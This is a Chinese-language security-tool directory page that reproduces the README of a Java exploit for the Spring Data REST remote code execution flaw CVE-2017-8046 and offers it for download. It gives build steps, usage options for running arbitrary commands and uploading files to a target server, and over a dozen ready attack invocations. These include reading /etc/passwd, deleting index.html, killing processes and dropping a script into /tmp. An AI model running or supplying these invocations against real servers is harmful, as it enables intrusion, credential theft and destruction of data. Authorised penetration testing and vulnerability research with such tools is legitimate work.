Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
spring-break_cve-2017-8046 — 这是一个利用 Spring Break 漏洞(CVE-2017-8046)的 Java 程序。 | Kitploit
工具/GitHubGitHub/m3ssap0/spring-break_cve-2017-8046
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubm3ssap0/spring-break_cve-2017-8046

spring-break_cve-2017-8046

这是一个利用 Spring Break 漏洞(CVE-2017-8046)的 Java 程序。

查看仓库
17115年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

spring-break_cve-2017-8046

这是一个利用 Spring Break 漏洞(CVE-2017-8046)的 Java 程序。

该软件的编写旨在尽可能减少外部依赖。

免责声明

此工具旨在供安全工程师和应用安全人员用于安全评估。请负责任地使用此工具。本人不对任何人使用此应用程序的方式负责。本人对因使用此工具造成的任何损害或犯下的任何罪行概不负责。

漏洞信息

  • CVE-ID: CVE-2017-8046
  • 链接: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
  • 描述: 在 Pivotal Spring Data REST 版本 2.5.12、2.6.7、3.0 RC3 之前,Spring Boot 版本 2.0.0M4 之前,以及 Spring Data 发布系列 Kay-RC3 之前,向 spring-data-rest 服务器提交的恶意 PATCH 请求可以利用特制的 JSON 数据执行任意 Java 代码。
  • 厂商链接: https://pivotal.io/security/cve-2017-8046

如何生成可执行的 JAR

以下是一些生成可执行 JAR 的步骤,其中包含所有依赖项,可用于启动漏洞利用程序。

使用 Maven

可以运行以下 Maven 命令:

root@kitploit:~
mvn clean compile package

使用 Eclipse

可以执行以下步骤:

  1. 解决所有外部依赖/库;
  2. 右键点击 Eclipse 项目,进入 Run As > Run Configurations;
  3. 右键点击 Java Application,然后点击 New;
  4. 选择一个名称,并将主类设置为 com.afs.exploit.spring.SpringBreakCve20178046;
  5. 点击 Apply 按钮;
  6. 关闭窗口并返回 Eclipse 主窗口;
  7. 右键点击 Eclipse 项目,点击 Export...;
  8. 找到并选择 Runnable JAR file(在 Java 分支下);
  9. 在接下来的窗口中:
    1. 选择之前创建的正确的 Launch configuration;
    2. 选择 Export destination;
    3. 选择 Extract required libraries into generated JAR 选项;
    4. 点击 Finish 按钮。

帮助

root@kitploit:~
Usage:
   java -jar spring-break_cve-2017-8046.jar [options]
Description:
   Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
      You have to choose an existent resource.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   -U, --upload [file_to_upload]
      File to upload to the remote machine. Will be uploaded to the current working
      directory of the java process. Warning: this will only succeed on a server running
      JRE-1.7 or later.
   --remote-upload-directory [/some/existing/path/]
      Optional. Server will attempt to write the uploaded file to this directory on the
      filesystem. Specified directory must exist and be writeable.
   --cookies [cookies]
      Optional. Cookies passed into the request, e.g. authentication cookies.
   -H, --header [custom_header]
      Optional. Custom header passed into the request, e.g. authorization header.
   -k
      Skip SSL validation
   --clean
      Optional. Removes error messages in output due to the usage of the
      exploit. It could hide error messages if the request fails for other reasons.
   --error-stream
      Optional. In case of errors the command will fail and the error stream will
      not be returned. This option can be used to relaunch the remote command
      returning the error stream.
   -v, --verbose
      Optional. Increase verbosity.

示例

root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln01.foo.com/api/v1/entity/123" --command ipconfig
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln02.foo.com/api/v2/entity/42" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar -v --url "https://vuln02.foo.com/api/v2/entity/42" --upload file.sh --remote-upload-directory /tmp
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln03.foo.com/asd/api/v1/entity/1" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln04.foo.com/asd/api/v1/entity/1" --command "dir C:\Windows" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln05.foo.com/asd/api/v1/entity/1" --command "copy /b NUL ..\..\pwned.txt" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln06.foo.com/asd/api/v1/entity/1" --command "ping -c 3 www.google.it" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln07.foo.com/asd/api/v1/entity/1" --command "ps aux" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln08.foo.com/asd/api/v1/entity/1" --command "uname -a" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln09.foo.com/asd/api/v1/entity/1" --command "ls -l" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln10.foo.com/asd/api/v1/entity/1" --command "wget https://www.google.com" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln11.foo.com/asd/api/v1/entity/1" --command "rm index.html" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln12.foo.com/asd/api/v1/entity/1" --command "cat /etc/passwd" --clean
root@kitploit:~
java -jar spring-break_cve-2017-8046.jar --url "https://vuln13.foo.com/asd/api/v1/entity/1" --command "kill -9 5638" --clean

请注意,引用的资源/URL 必须存在!

易受攻击的应用程序

可以在此处找到易受攻击的应用程序。

作者

  • Antonio Francesco Sardella - 主要实现 - m3ssap0
  • Yassine Tioual - HTTP 标头增强 - nisay759
  • Robin Wagenaar - 感谢其建议使用补丁操作 'remove' 而非 'replace',并感谢其提供文件上传功能 - RobinWagenaar

许可证

本项目基于 Apache License 2.0 版本许可 - 有关详细信息,请参阅 LICENSE.txt 文件。

致谢

  • Man Yue Mo,发现该漏洞的安全研究员
下载工具